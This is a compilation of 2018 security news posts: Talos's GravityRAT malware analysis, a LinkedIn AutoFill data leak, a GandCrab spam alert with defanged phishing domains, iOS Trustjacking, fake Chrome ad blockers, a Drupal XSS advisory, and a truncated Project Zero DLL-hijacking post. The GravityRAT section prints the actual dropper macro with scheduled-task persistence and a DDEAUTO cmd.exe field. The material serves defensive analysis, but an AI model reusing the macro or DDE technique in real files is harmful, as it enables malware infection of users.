GravityRAT – The Two-Year Evolution Of An APT Targeting India


Today, Cisco Talos is uncovering a new piece of malware, which has remained under the radar for the past two years while it continues to be developed. Several weeks ago, we identified the use of the latest version of this RAT (Remote Access Tool). In this article, we will discuss the technical capabilities, the evolution, development and potential attribution of what we are calling GravityRAT.

GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We’ve seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

Throughout our investigation, we observed several malicious documents used to attack victims, which we will discuss. These malicious documents were used by the developer to run several tests on the popular analysis platform VirusTotal. Using VirusTotal allowed the developer to make changes in an attempt to decrease antivirus detection.

Although GravityRAT has not been previously published or discussed, there was some information from the National Computer Emergency Response Team (CERT) of India describing GravityRAT as being used in targeted attacks against India. Finally, we will discuss specific attribution elements discovered during our research into GravityRAT as we identify specific information, which we believe to be leaked by the developer, such as location, and potentially their first name.



Malicious Office Documents

The majority of the malicious documents crafted by the malware author are Microsoft Office Word documents. The attacker uses an embedded macro in order to execute malicious code on the victim’s system. The document opens and appears as such:

The document asks to the user to enable macros in order to prove that the user is not a robot (similar to the CAPTCHA we often see on the internet). This, however, is a known tactic that a lot of Office-based malware uses. It is an attempt to trick any users who are using Protected Mode on their systems. By enabling macros, the malware is able to begin it’s execution. We discovered that the embedded macro is quite small when extracted.

Sub AutoOpen()
  If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then
    Const lCancelled_c As Long = 0
      Dim sSaveAsPath As String
      sSaveAsPath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\"
      If VBA.LenB(sSaveAsPath) = lCancelled_c Then Exit Sub
      Application.Documents.Add ActiveDocument.FullName
      ActiveDocument.SaveAs sSaveAsPath
      Set app = CreateObject("Shell.Application")
      ExtractTo = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%")
      ExtractByExtension app.NameSpace(Environ("TEMP") + "\"), "exe", ExtractTo
  End If
End Sub

Sub ExtractByExtension(fldr, ext, dst)
  Set FSO = CreateObject("Scripting.FileSystemObject")
  Set app = CreateObject("Shell.Application")
  For Each f In fldr.Items
    If f.Type = "File folder" Then
      ExtractByExtension f.GetFolder, ext, dst
    ElseIf LCase(FSO.GetExtensionName(f.Name)) = LCase(ext) Then
      If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then
        app.NameSpace(dst).CopyHere f.Path, &H4
      End If
    End If
  Shell "schtasks /create /tn wordtest /tr ""'%temp%\image4.exe' 35"" /sc DAILY /f /RI 10 /du 24:00 /st 00:01"
End Sub

This macro contains three functions:

  • The first one is executed when the document is opened. The purpose is to copy the active document (the opened Word document) in a temporary directory and to rename it as a ZIP archive. Indeed, the docx format is, in fact, a common ZIP archive, and can be unzipped using common tools.
  • The second function decompresses this ‘’ file and extracts the .exe file stored in it.
  • The third creates a scheduled task, named ‘wordtest’, to execute this malicious file every day.

With this approach, the attacker ensures that there is no direct execution (the executable is executed thanks to scheduled tasks), there’s no download of an additional payload, and finally, the author uses the fact that the docx format is an archive in order to include its executable (GravityRAT).

Testing By The Author

During our tracking, we identified several malicious documents submitted from this actor on VirusTotal for testing purposes. They tested the detection on macros (by modifying them, or by executing the calc instead of the malicious payload) and the developers tried dynamic data exchange (DDE) execution in the Office document. This is abusing the DDE protocol which exists within Microsoft Office documents. Whilst this is a feature Microsoft provide it is also a feature that an attacker can leverage for malicious activity, Microsoft published mitigation information here previously. The developer crafted Office Word and Excel documents to see the detection in VirusTotal. The authors tried to hide the DDE object in a different part of the document — in the main object and the header, for example. The DDE object simply executes Microsoft calc in the detected sample. Here is an example:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<w:document [...redated...}] mc:Ignorable="w14 w15 wp14"><w:body><w:p w:rsidR="00215C91" w:rsidRDefault="008C166A"><w:r><w:fldChar w:fldCharType="begin"/></w:r><w:r><w:instrText xml:space="preserve"> </w:instrText></w:r><w:r><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="383838"/><w:spacing w:val="3"/><w:sz w:val="26"/><w:szCs w:val="26"/><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:rPr><w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText></w:r><w:r><w:instrText xml:space="preserve"> </w:instrText></w:r><w:r><w:fldChar w:fldCharType="end"/></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr w:rsidR="00215C91"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>

We believe the filenames of the submitted samples are clearly testing docs, using different methods and Office tricks to attempt to ensure his malware was undetected. Those names were:

  • testnew1.docx
  • Test123.docx
  • test456.docx
  • test2.docx
  • book1test2.xlsx
  • Test123.doc


Our initial discovery of GravityRAT was through a malicious Word document. As explained previously, this Word document had various macros to deliver a final payload.Considering that this was the most recent version of the malware, we decided to ascertain how long this actor had been active, and how their attacks had evolved. We were able to discover four distinct versions of GravityRAT, developed over two years. Next, we will go through what we believe is the development life cycle and feature-addition mission carried out by this developer.

Version G1

The malware author uses a versioning system starting by the G letter. The oldest version we identified is G1. Here is the PDB path of the sample:

f:\F\Windows Work\G1\Adeel's Laptop\G1 Main Virus\systemInterrupts\gravity\obj\x86\Debug\systemInterrupts.pdb

You can notice the potential first name of the developers: Adeel. Of course, this information can be manipulated by the malware author. This sample was compiled in December 2016. The original filename of the sample was resume.exe.

The purpose of this version was to steal information on the compromised system:

  • MAC Address
  • Computer name
  • Username
  • IP address
  • Date
  • Steal files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf and .pdf
  • The volumes mapped on the system

All this information was then sent to one of the following domains:

G1 also had the ability to execute commands remotely on the infected host machine at the author’s will.

Version G2

We identified a new variant used in July 2017 named G2. Here is the PDB of the sample:

e:\Windows Work\G2\G2 Main Virus\Microsoft Virus Solutions (G2 v5) (Current)\Microsoft Virus Solutions\obj\Debug\Windows Wireless 802.11.pdb

For this version, the developer modified the architecture of the malware. The main code aims to load and execute two additional .NET binaries stored in the resources of the file:

  • The first resource is a legitimate open-source library available on GitHub. It’s a .NET wrapper for the Windows Task Scheduler
  • The second is the G2 version of GravityRAT

This variant shares the same command and control (C2) servers as G1, however, we have an additional ‘payload’ variable added to G2.

This variant has almost identical capabilities as the previous, except one additional functionality: It collects the CPU information in the Win32_Processor entry via WMI request (Processor ID, Name, Manufacturer and the clock speed). The attacker is most likely using this information as part of an anti-vm attempt within this malware. This is used to try and thwart analysis in virtual environments.

In a slight change to the previous variant, the new payloads are executed with a Windows Scheduled Task. This would explain the inclusion of the .NET wrapper.

The analysed sample contained a decoy picture document in the resource section:


Version G3

In August 2017, the author of GravityRAT used a new variant of its malware, G3. Here is the PDB:

F:\Projects\g3\G3 Version 4.0\G3\G3\obj\Release\Intel Core.pdb

This variant uses the same method as G2, and includes a legitimate library in the resource section. The developers also added additional language support to the library:

  • German
  • Spanish
  • French
  • Italian
  • Chinese

The author changed the backend of the C2 server with this variant. The URI changed too, it contains the GravityRAT variant name:

August was also the same month the Indian CERT notified potential victims that GravityRAT had been used in a targeted campaign. Given the ongoing development nature of this malware, it meant another variant was most likely due.

Version GX

The latest version of GravityRAT was created in December 2017 named GX. Here is the PDB:

C:\Users\The Invincible\Desktop\gx\gx-current-program\LSASS\obj\Release\LSASS.pdb

This version is the most advanced variant of GravityRAT. Throughout the evolution, we saw this malware embedding open-source legitimate .NET libraries (for schedule tasks, compression, encryption, .NET loading). It contains a resource named “important.” This is an archive with a password.

This variant has the same features as before, but this time, some new features are added:

  • It collects open ports on the victim host by running the netstat command
  • It lists all the running processes
  • It lists available services on the system
  • It exfiltrates .ppt and .pptx file, in addition to the extension mentioned in the G1 variant
  • If a USB key is connected on the system, the malware steals the file based on an extension list
  • It supports file encryption (AES with the key “lolomycin2017”)
  • It collects information on the account (account type, description, domain name, full name, SID and status)
  • It checks if the system is a virtual machine with several techniques

The developer implemented a total of seven techniques to identify if the compromised system is a virtual machine.

The first technique consists of looking at any additional tools used by the hypervisor that are installed on the system (by checking a registry key):

The second technique uses a WMI request to the BIOS version (Win32_BIOS entry). If the response contains: “VMware”, “Virtual”, “XEN”, “Xen” or “A M I” the system is considered as a virtual machine. Additionally, the malware checks the SerialNumber and the version of the BIOS.

The third technique uses the Win32_Computer entry in WMI. It checks if the manufacturer contains “VIRTUAL”, “VMWARE” or “VirtualBox”.

The fourth technique checks the Processor ID of the system.

The fifth technique counts the number of cores in the infected system (the author expects more than one core)

The sixth technique checks the current CPU temperature of the system (the MSAcpi_ThermalZoneTemperature entry). Indeed, some hypervisors (VMWare, VirtualBox and Hyper-V) do not support temperature check. The WMI request simply replies “not supported”. This behaviour can be used to detect if the targeted system is a real machine.

The last technique uses the MAC Address of the infected system. If the MAC Address starts by a well-known hexadecimal number, the system is identified as a virtual machine.

The C2 servers communication is performed in HTTP as it did previously. The variant version of GX is used in the URI. The C2 servers we can see are shared with the previous variants:


Below, we will present evidence that we have obtained regarding the attacker and the associated malware. Obviously, attribution is a complex field. The developers could be using a proxy or a VPN in order to fake the origin of the submission. But, we will still simply present some facts concerning this actor.

The developer used at least two different usernames in the past two years: “The Invincible” and “TheMartian.” In the oldest version of GravityRAT, the attacker potentially leaked his or her first name in the PDB: “Adeel” — the path contained “Adeel’s Laptop”. Additionally, all the malicious Office documents, and more specifically the documents used to test anti-virus on VirusTotal, were submitted from Pakistan. One of the four PE files in the IOCs section was sent from Pakistan, too.

In August 2017, the Indian National CERT published an advisory about malicious targeted campaigns. This advisory mentions the C2 server infrastructure of GravityRAT, which means the GravityRAT author likely targeted Indian entities/organisations. By leveraging Cisco Umbrella and using the Investigate tool, we were able to determine that across all of the C2 domains listed, we saw a large influx of traffic originating from India, as evidenced by the National CERT, all of the C2 domains were at least 50 percent requested by Indian IP infrastructure. It is possible that some of the non-Indian IP space requests may artefacts be due to our own research.


This actor is probably not the most advanced actor we’ve seen. But he or she managed to stay under the radar since 2016. They worked on malicious code, and produced four variants. Each new variant included new features. The developer used the same C2 infrastructure all this time. The developer was clever enough to keep this infrastructure safe, and not have it blacklisted by a security vendor. The actor took their time to ensure they were not within a virtual environment to avoid analysis. However, they did not take any time at all to attempt to obfuscate their .NET code. The code was largely trivial to reverse engineer, which meant static analysis was an easy option for this piece of malware.

The Indian CERT published an advisory about this actor, which suggest they targeted Indian entities and organizations.

The author leaked information within the samples (i.e. Adeel) and on the VirusTotal platform. Thanks to this information, we we able to understand how they tested malicious documents in order to decrease detection ratios across many popular engines. During this testing period, all the samples were uploaded from Pakistan to VirusTotal.


Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as NGFW, NGIPS, andMeraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on



Malicious Documents















C2 Servers




Go to Source
Author: Talos Group

Flaw in LinkedIn AutoFill Plugin Lets Third-Party Sites Steal Your Data

Not just Facebook, a new vulnerability discovered in Linkedin’s popular AutoFill functionality found leaking its users’ sensitive information to third party websites without the user even knowing about it.

LinkedIn provides an AutoFill plugin for a long time that other websites can use to let LinkedIn users quickly fill in profile data, including their full name, phone number, email address, ZIP code, company and job title, with a single click.

In general, the AutoFill button only works on specifically “whitelisted websites,” but 18-year-old security researcher Jack Cable of Lightning Security said it is not just the case.

Cable discovered that the feature was plagued with a simple yet important security vulnerability that potentially enabled any website (scrapers) secretly harvest user profile data and the user would not even realize of the event.

A legitimate website would likely place a AutoFill button near the fields the button can fill, but according to Cable, an attacker could secretly use the AutoFill feature on his website by changing its properties to spread the button across the entire web page and then make it invisible.

Since the AutoFill button is invisible, users clicking anywhere on the website would trigger AutoFill, eventually sending all of their public as well as private data requested to the malicious website, Cable explains.

Here’s How attackers can exploit the LinkedIn Flaw:

  • User visits the malicious website, which loads the LinkedIn AutoFill button iframe.
  • The iframe is styled in a way that it takes up the entire page and is invisible to the user.
  • The user then clicks anywhere on that page, and LinkedIn interprets this as the AutoFill button being pressed and sends the users’ data via postMessage to the malicious site.

Cable discovered the vulnerability on April 9th and immediately disclosed it to LinkedIn. The company issued a temporary fix the next day without informing the public of the issue.

The fix only restricted the use of LinkedIn’s AutoFill feature to whitelisted websites only who pay LinkedIn to host their advertisements, but Cable argued that the patch was incomplete and still left the feature open to abuse as whitelisted sites still could have collected user data.

Besides this, if any of the sites whitelisted by LinkedIn gets compromised, the AutoFill feature could be abused to send the collected data to malicious third-parties.

To demonstrate the issue, Cable also built a proof-of-concept test page, which shows how a website can grab your first and last name, email address, employer, and location.

Since a complete fix for the vulnerability was rolled out by LinkedIn on April 19, the above demo page might not work for you now.

“We immediately prevented unauthorized use of this feature, once we were made aware of the issue. We are now pushing another fix that will address potential additional abuse cases, and it will be in place shortly,” the company said in a statement.

“While we’ve seen no signs of abuse, we’re constantly working to ensure our members’ data stays protected. We appreciate the researcher responsible reporting this, and our security team will continue to stay in touch with them.”

Although the vulnerability is not at all a sophisticated or critical one, given the recent Cambridge Analytica scandal wherein data of over 87 million Facebook users was exposed, such security loopholes can pose a serious threat not only to the customers but also the company itself.

Go to Source

Security Alert: GandCrab Ransomware Returns with New Waves of Spam Campaigns

You may be familiar with GandCrab ransomware that seems to widely spread via various spam campaigns or social engineering techniques to infect and harvest users’ most important data.This fast-growing malware has infected more than 50,000 victims and targeting mostly the ones from Scandinavia and UK speaking countries, according to a report CheckPoint.

Security researchers recently analyzed a new spam campaign in which malicious actors try to lure victims into clicking a malicious link that will open a binary file and infect users’ system with the GandCrab ransomware.

This phishing campaign has been delivered with the following content (sanitized for your own protection).

Here’s how this email looks like:

From: [Spoof / Forwarded Sender Address]

Subject Line:
Job: Banking Opportunities, Greymouth

Dear Hiring Manager
Please review my [link: http: // abuellail [.] Com / resume. php] resume
Charlotte Anderson
Email: charlotte.anderson @ abuellail [.] com

If a user clicks on the link received on the email, then he will be redirected to one of the following and compromised web pages (sanitized for your online safety):

test.ritsdb [.] com
ubsms [.] com
test.technostark [.] com

How the infection happens

Basically, the malware is spread via an executable binary file (resume.exe) which is returned after GandCrab is running on the local machine as a file called “bhxsew.exe”.

During the process, the ransomware will try to collect and determine the external IP addresses of the victims via legitimate services such as:

Http: // ipv4bot.whatismyipaddress. com
Http: / /bot.whatismyipaddress. Com

The main component of GandCrab is “dropped” as a “bhxsew.exe” file in the directory. As part of the local data encryption, this malicious file is configured to communicate with the following domains:

zone alarm [.] bit
ransomware [.] bit

GandCrab ransomware is not spread only via spam emails but also seen distributed via an exploit kit campaign called MagnitudeEK which abuses software vulnerabilities found in Windows, Adobe Flash Player, and Silverlight.

As regards to the MagnitudeEK spam campaign, security researchers have seen a flood of subdomains being used via this site:

lieslow [.] faith

Malwarebytes Labs recently found that Magnitude EK, “which had been loyal to its own Magniber ransomware, was now being leveraged to push out GandCrab, too.”

Here’s how the ransom note is displayed on the infected machine:

Source: Malwarebytes Labs blog

Heimdal Security proactively blocked these infected domains (and malicious emails), so all Heimdal PRO and Heimdal CORP users are protected.

According to VirusTotal, 24 antivirus products out of 64 have detected this spam email campaign at the time we write this security alert.

How to stay safe from the GandCrab ransomware

One of the best ways to keep your important data safe from ransomware is to think and act proactively.

To minimize both the risks and the impact of these online threats, we recommend both home users and companies to use and apply these security measures:

  1. Always backup your data and use external sources such as a hard drive or in the cloud (Google Drive, Dropbox, etc.) to store it. Our guide will show you how to do it;
  2. DO NOT open (spam) or download attachments or links from unknown sources that could infect your computer;
  3. Use strong and unique passwords and never reuse them for multiple accounts. This security guide comes in handy;
  4. Consider using a paid antivirus software which is also up to date, or consider having a proactive anti ransomware protection (here’s what Heimdal PRO can do for you).
  5. Prevention is the best cure, so make sure you learn as much as possible about how to easily detect spam emails. These free educational resources can help you gain more knowledge in the cybersecurity field;
  6. Given the rise of new types of malware (the version 2 of GandCrab ransomware is out there and, unfortunately, there’s no decryption tool available) we remind you that security is not just about using a solution or another, it’s also about improving your online habits and being proactive.

Should you need to understand what ransomware is all about, this dedicated guide will help you.

If you’ve been a victim of the GandCrab ransomware, the good news is that there’s a decryption tool available you can use to recover the valuable data locked by ransomware.

*This article features cyber intelligence provided by CSIS Security Group researchers.

The post Security Alert: GandCrab Ransomware Returns with New Waves of Spam Campaigns appeared first on Heimdal Security Blog.

Go to Source
Author: Ioana Rijnetu

iOS Trustjacking – A Dangerous New iOS Vulnerability


An iPhone user’s worst nightmare is to have someone gain persistent control over his/her device, including the ability to record and control all activity without even needing to be in the same room. In this blog post, we present a new vulnerability called “Trustjacking”, which allows an attacker to do exactly that.

This vulnerability exploits an iOS feature called iTunes Wi-Fi sync, which allows a user to manage their iOS device without physically connecting it to their computer. A single tap by the iOS device owner when the two are connected to the same network allows an attacker to gain permanent control over the device. In addition, we will walk through past related vulnerabilities and show the changes that Apple has made in order to mitigate them, and why these are not enough to prevent similar attacks.

A recap of related past vulnerabilities / attacks

We saw several publications in the past that discuss leveraging unauthorized USB connections in order to get private information from mobile devices.

Prior to iOS 7, connecting an iOS device to a new computer didn’t require any authorization from the device owner. Juice jacking [1] [2] [3] uses this behavior and is able to steal sensitive information from devices and may install malware on the victim’s device. Apple solved this issue by adding the popup requesting the user to authorize new computers before allowing any sync operations.

Another publication discusses Videojacking, which utilizes the ability of Apple’s connector to be used as an HDMI connection and get a screen recording of iOS devices while connected to a malicious charger.

Both exploits allowed an attacker potential access to sensitive information, but their major limitation was that everything is possible only while the device is physically connected to the malicious hardware – disconnecting the device stops the attack flow.

Trustjacking allows an attacker to gain a more continuous and persistent hold of the device and retain the same abilities long after the device has been disconnected from the malicious hardware. To understand how this works, we first need to explain iTunes Wi-Fi sync.

What is iTunes Wi-Fi sync?

iTunes Wi-Fi sync is a very useful feature that allows iOS devices to be synced with iTunes without having to physically connect the iOS device to the computer.

Enabling this feature requires syncing the iOS device with iTunes first by connecting to a computer with a cable, then enabling the option to sync with the iOS device over Wi-Fi.

Trustjacking – how does it work?

Upon connecting an iOS device to a new computer, the users are being asked whether they trust the connected computer or not. Choosing to trust the computer allows it to communicate with the iOS device via the standard iTunes APIs.

This allows the computer to access the photos on the device, perform backup, install applications and much more, without requiring another confirmation from the user and without any noticeable indication. Furthermore, this allows activating the “iTunes Wi-Fi sync” feature, which makes it possible to continue this kind of communication with the device even after it has been disconnected from the computer, as long as the computer and the iOS device are connected to the same network. It is interesting to note that enabling “iTunes Wi-Fi sync” does not require the victim’s approval and can be conducted purely from the computer side.

Getting a live stream of the device’s screen can be done easily by repeatedly asking for screenshots and displaying or recording them remotely.

It is important to note that other than the initial single point of failure, authorizing the malicious computer, there is no other mechanism that prevents this continued access. In addition, there is nothing that notifies the users that by authorizing the computer they allow access to their device even after disconnecting the USB cable.


Imagine the following scenario: A victim connects his phone to a free charger in an airport; upon connecting his phone to the charger a popup message appears on his device, requesting him to approve the connected device. Approving this request might seem reasonable: the victim wants to charge his device, the service seems legitimate and it appears that nothing suspicious happens following the approval.

Demonstration Trustjacking

Attack Flow

From the user perspective, all he had to do is connect his device to a malicious charger / computer (might also be his own computer, as outlined later on) and choose to trust it.

Reading the text, the user is led to believe that this is only relevant while the device is physically connected to the computer, so assumes that disconnecting it will prevent any access to his private data. Even if the device is only connected for a very short period of time, it is enough for an attacker to execute the necessary steps to maintain visibility of all actions performed on the device after it is disconnected.

The attacker needs to take two steps:

  • Allow the device to connect to iTunes
  • Enable iTunes Wi-Fi sync

These steps can be automated by malicious software. They interestingly do not require any additional approval from the victim and don’t trigger any indication on the device that something is happening. Once these actions are completed, the device does not need to be physically connected to the attacking hardware anymore. Now the attacker can control the device remotely, as long as the victim and attacker are connected to the same network.

In order to be able to view the victim’s device screen, the attacker needs to install the developer image suitable for the victim’s device iOS version; then, he can take screenshots repeatedly and view the device’s screen in near real time. Installing the developer image can be conducted over Wi-Fi and does not require regaining physical access to the device. Although a restart may remove the developer image from the device, the hacker has continued access and can reinstall it easily.

Taking it to the next level

In addition to remotely viewing the victim’s device screen, Trustjacking also allows an attacker to do much more.

One of the features that an attacker can leverage is remote iTunes backup. By creating a backup of the device’s contents the attacker is able to get access to a lot of private information such as:

  •  Photos
  •  SMS / iMessage chats history
  •  App data

In order to get this information we had to parse the iTunes backup.

The backup consists of several metadata files and the backed up files themselves. Each file is stored in the path SHA1(“%domain%-%relativePath%”) and the directory with the name set to the first 2 hex digits of the hash.

For example, a photo with the path “Media/DCIM/100APPLE/IMG_0059.JPG” will be stored in the path “b1/b12bae0603700bdf7719c3a65b22ca2f12715d37” as “b12bae…” is the SHA1 hash of “CameraRollDomain-Media/DCIM/100APPLE/IMG_0059.JPG”.

All of the backed up files are listed on the “Manifest.db” file which is an SQLite3 DB and can be easily listed by querying it.

A simple query such as:

`SELECT * FROM Files WHERE relativePath like ‘%Media/DCIM%’ ORDER BY relativePath;` will list all of the pictures that have been backed up, including their hash.

Reading SMS / iMessage requires parsing another SQLite3 DB which can be found on the file “3d/3d0d7e5fb2ce288813306e4d4636395e047a3d28” (SHA1 equivalent of “HomeDomain-Library/SMS/sms.db”).

The two interesting tables are “chat” that lists all of the chats, and “message” that contains all of the messages for those chats, with “chat_message_join” to join them.

iOS Trustjacking – Backup and Restore Exploit

And there is more. An attacker can also use this access to the device to install malicious apps, and even replace existing apps with a modified wrapped version that looks exactly like the original app, but is able to spy on the user while using the app and even leverage private APIs to spy on other activities all the time. In the following video demonstration we demonstrate how they can identify the apps on the device and replace an app with a repackaged version of it. Notice the fraction of second in which the app is deleted and reinstalled.

iOS Trustjacking – Replace Apps Exploit

Is the attack confined to Wi-Fi only?

The attacks that we have described require the device and the attacking computer to be connected to the same network. Usually this means being in proximity to the victim’s device and connected to the same Wi-Fi, but this is not the only option.

By combining this attack with the malicious profile attack, we are able to connect the device to a VPN server and create a continuous connection between the victim’s device and the attacker’s computer and leverage this attack anytime and without the restriction of being in proximity with the device or connected to the same network.

iOS 11 – following our disclosure to Apple

Following our responsible disclosure process, Apple chose to add a mechanism that should make sure that only the real owner of the iOS device can choose to trust a connected new computer. This is done by requiring the user to enter his / her passcode when choosing to authorize and trust a computer.

As can be clearly seen in this screenshot, the user is still being told that this authorization is only relevant while the device is connected to the computer, making him believe that disconnecting his device guarantees that no one can access his private data.

While we appreciate the mitigation that Apple has taken, we’d like to highlight that it does not address Trustjacking in an holistic manner. Once the user has chosen to trust the compromised computer, the rest of the exploit continues to work as described above.

What if the attacker infects the victim’s computer rather than using a malicious charger?

A limitation of the malicious-charger attack flow is the potentially short period of time the victim and the iOS device are in the same proximity/network as the malicious computer. It would be far more devastating if the user’s own computer becomes the malicious actor. This powerful use-case of Trustjacking can happen when the device owner’s own PC or Mac has been compromised by malware. In this case, the attacker can utilize the relation of trust the victim has between his iOS device and his computer, along with the fact one’s own computer is usually in close proximity to the mobile phone (e.g. home, office, etc.) to achieve deep insight not only to the actions on the infected computer, but also to the victim’s mobile phone activity over time.


Unfortunately, there is no way to list all of the trusted computers and revoke access selectively. The best way to ensure that no unwanted computers are being trusted by your iOS device is to clean the trusted computers list by going to Settings > General > Reset > Reset Location & Privacy, now you will need to re-authorize all previously connected computers next time you are connecting your iOS device to each device.

In order to protect device backups and avoid attackers leveraging Trustjacking in order to get their hands on additional private information, enable encrypted backups in iTunes and choose a strong password.

Installing a Mobile Threat Defense solution such as SEP Mobile or Norton Mobile Security will help to protect your device from other implications of such attacks. SEP Mobile will identify and protect the end user against the installation of malicious profile, apps or attempts to compromise the device via this technique, and leveraging integrations with the SEP product line, customers have full visibility into both mobile and desktop operating systems.

For app developers – avoid including sensitive data in iTunes backup as this will reduce the risk on attackers leveraging Trustjacking in order to get such data by accessing your app’s backup.


We would like to thank Apple’s security team for their cooperation and continued commitment to the security of Apple’s user base.

Go to Source

Over 2 Million Users Installed Malicious Ad Blockers From Chrome Store

If you have installed any of the below-mentioned Ad blocker extension in your Chrome browser, you could have been hacked.

A security researcher has spotted five malicious ad blockers extension in the Google Chrome Store that had already been installed by at least 20 million users.

Unfortunately, malicious browser extensions are nothing new. They often have access to everything you do online and could allow its creators to steal any information victims enter into any website they visit, including passwords, web browsing history and credit card details.

Discovered by Andrey Meshkov, co-founder of Adguard, these five malicious extensions are copycat versions of some legitimate, well-known Ad Blockers.

Creators of these extensions also used popular keywords in their names and descriptions to rank top in the search results, increasing the possibility of getting more users to download them.

“All the extensions I’ve highlighted are simple rip-offs with a few lines of code and some analytics code added by the authors,” Meshkov says.


After Meshkov reported his findings to Google on Tuesday, the tech giant immediately removed all of the following mentioned malicious ad blockers extension from its Chrome Store:

  • AdRemover for Google Chrome™ (10 million+ users)
  • uBlock Plus (8 million+ users)
  • [Fake] Adblock Pro (2 million+ users)
  • HD for YouTube™ (400,000+ users)
  • Webutation (30,000+ users)
Meshkov downloaded the ‘AdRemover’ extension for Chrome, and after analyzing it, he discovered that malicious code hidden inside the modified version of jQuery, a well-known JavaScript library, sends information about some websites a user visits back to a remote server.

The malicious extension then receives commands from the remote server, which are executed in the extension ‘background page’ and can change your browser’s behavior in any way.

To avoid detection, these commands send by the remote server are hidden inside a harmless-looking image.

“These commands are scripts which are then executed in the privileged context (extension’s background page) and can change your browser behavior in any way,” Meshkov says.

“Basically, this is a botnet composed of browsers infected with the fake Adblock extensions,” Meshkov says. “The browser will do whatever the command center server owner orders it to do.”

The researcher also analyzed other extensions on the Chrome Store and found four more extensions using similar tactics.

Since browser extension takes permission to access to all the web pages you visit, it can do practically anything.

So, you are advised to install as few extensions as possible and only from companies you trust.

Go to Source

Another Critical Flaw Found In Drupal Core—Patch Your Sites Immediately

For the second time within a month, Drupal has been found vulnerable to another critical vulnerability that could allow remote attackers to pull off advanced attacks including cookie theft, keylogging, phishing and identity theft.

Discovered by the Drupal security team, the open source content management framework is vulnerable to cross-site scripting (XSS) vulnerability that resides in a third-party plugin CKEditor which comes pre-integrated in Drupal core to help site administrators and users create interactive content.

CKEditor is a popular JavaScript-based WYSIWYG rich text editor which is being used by many websites, as well as comes pre-installed with some popular web projects.

According to a security advisory released by CKEditor, the XSS vulnerability stems from the improper validation of “img” tag in Enhanced Image plugin for CKEditor 4.5.11 and later versions.


This could allow an attacker to execute arbitrary HTML and JavaScript code in the victim’s browser and gain access to sensitive information.

Enhanced Image plugin was introduced in CKEditor 4.3 and supports an advanced way of inserting images into the content using an editor.

“The vulnerability stemmed from the fact that it was possible to execute XSS inside CKEditor when using the image2 plugin (which Drupal 8 core also uses),” the Drupal security team said.

CKEditor has patched the vulnerability with the release of CKEditor version 4.9.2, which has also been patched in the CMS by the Drupal security team with the release of Drupal version 8.5.2 and Drupal 8.4.7.

Since CKEditor plugin in Drupal 7.x is configured to load from the CDN servers, it is not affected by the flaw.

However, if you have installed the CKEditor plugin manually, you are advised to download and upgrade your plugin to the latest version from its official website.

Drupal recently patched another critical vulnerability, dubbed Drupalgeddon2, a remote code execution bug that allows an unauthenticated, remote attacker to execute malicious code on default or common Drupal installations under the privileges of the user, affecting all versions of Drupal from 6 to 8.

However, due to people’s laziness of patching their systems and websites timely, the Drupalgeddon2 vulnerability has been found exploiting in the wild by hackers to deliver cryptocurrency miners, backdoors, and other malware.

Therefore, users are highly recommended always to take security advisories seriously and keep their systems and software up-to-date in order to avoid become victims of any cyber attack.

Go to Source

Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege

Posted by James Forshaw, Project Zero
Previously I presented a technique to exploit arbitrary directory creation vulnerabilities on Windows to give you read access to any file on the system. In the upcoming Spring Creators Update (RS4) the abuse of mount points to link to files as I exploited in the previous blog post has been remediated. This is an example of a long term security benefit from detailing how vulnerabilities might be exploited, giving a developer an incentive to find ways of mitigating the exploitation vector.
Keeping with that spirit in this blog post I’ll introduce a novel technique to exploit the more common case of arbitrary file writes on Windows 10. Perhaps once again Microsoft might be able to harden the OS to make it more difficult to exploit these types of vulnerabilities. I’ll demonstrate exploitation by describing in detail the recently fixed issue that Project Zero reported to Microsoft (issue 1428).
An arbitrary file write vulnerability is where a user can create or modify a file in a location they could not normally access. This might be due to a privileged service incorrectly sanitizing information passed by the user or due to a symbolic link planting attack where the user can write a link into a location which is subsequently used by the privileged service. The ideal vulnerability is one where the attacking user not only controls the location of the file being written but also the entire contents. This is the type of vulnerability we’ll consider in this blog post.

A common way of exploiting arbitrary file writes is to perform DLL hijacking. When a Windows executable begins executing the initial loader in NTDLL will attempt to find all imported DLLs. The locations that the loader checks for imported DLLs are more complex than you’d expect but for our purposes can be summarized as follows:

  1. Check Known DLLs, which is a pre-cached list of DLLs which are known to the OS. If found, the DLL is mapped into memory from a pre-loaded section object.
  2. Check the application’s directory, for example if importing TEST.DLL and the application is in C:APP then it will check C:APPTEST.DLL.
  3. Check the system locations, such as C:WINDOWSSYSTEM32 and C:WINDOWS.
  4. If all else fails search the current environment PATH.


The aim of the DLL hijack is to find an executable which runs at a high privilege which will load a DLL from a location that the vulnerability allows us to write to. The hijack only succeeds if the DLL hasn’t already been found in a location checked earlier.
There are two problems which make DLL hijacking annoying:


